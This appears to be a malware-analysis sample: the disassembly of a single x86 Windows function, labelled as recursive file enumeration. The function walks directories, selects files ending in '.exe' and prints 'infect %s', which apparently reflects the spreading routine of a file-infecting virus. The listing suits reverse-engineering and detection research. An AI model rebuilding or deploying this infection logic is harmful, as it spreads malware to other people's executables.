Function at 0x401120
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x55c
push ebx
push ebp
push edi
sub ebx, ebx
push 0x40
pop ecx
pushal
popal
sub eax, eax
lea edi, [esp + 0x361]
mov byte [esp + 0x360], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x360]
push 0x104
push eax
push ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x364]
push edx
push eax
call fcn.00401000
mov ebp, dword [esp + 0x578]
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push ebp
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x4011a1
push str.find_file_failed__n
jmp 0x4013f1
push esi
cmp dword [esp + 0x1c], 0x10
je 0x401283
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
push 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str..exe
lea esi, [esp + ecx + 0x4c]
push esi
call fcn.00401d20
add esp, 0xc
or eax, eax
je 0x4011eb
push 4
push str..EXE
push esi
call fcn.00401d20
add esp, 0xc
test eax, eax
jne 0x4013c8
mov ecx, 0x40
sub eax, eax
lea edi, [esp + 0x261]
mov byte [esp + 0x260], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebp
or ecx, 0xffffffff
sub eax, eax
lea edx, [esp + 0x260]
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffc
push ecx
push ebp
push edx
call fcn.00401c20
lea edi, [esp + 0x54]
or ecx, 0xffffffff
sub eax, eax
lea edx, [esp + 0x26c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x20]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x270]
push ecx
push edx
call fcn.00401090
lea eax, [esp + 0x278]
push eax
push str.infect__s_n
call fcn.00401612
add esp, 0x20
jmp 0x4013c8
mov esi, 0x408090
lea eax, [esp + 0x48]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012b0
cmp cl, bl
je 0x4012ac
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012b0
add eax, 2
add esi, 2
cmp cl, bl
jne 0x40128c
sub eax, eax
jmp 0x4012b5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4013c8
mov esi, 0x40808c
lea eax, [esp + 0x48]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012ea
cmp cl, bl
je 0x4012e6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012ea
add eax, 2
add esi, 2
cmp cl, bl
jne 0x4012c6
sub eax, eax
jmp 0x4012ef
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4013c8
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15d]
mov byte [esp + 0x15c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffc
lea eax, [esp + 0x15c]
push ecx
push ebp
push eax
call fcn.00401c20
or ecx, 0xffffffff
lea edi, [esp + 0x54]
xor eax, eax
lea edx, [esp + 0x168]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea edx, [esp + 0x474]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x168]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ecx
pop eax
push edi
pop esi
push edx
pop edi
lea edx, [esp + 0x168]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x168]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401120
add esp, 0x10
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4011a2
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
test eax, eax
pop esi
jne 0x4013f9
push str.close_search_handle_failed__n
call fcn.00401612
add esp, 4
mov eax, dword [esp + 0xc]
pop edi
pop ebp
cmp eax, ebx
pop ebx
je 0x40140d
push eax
call fcn.00401a9e
add esp, 4
add esp, 0x55c
ret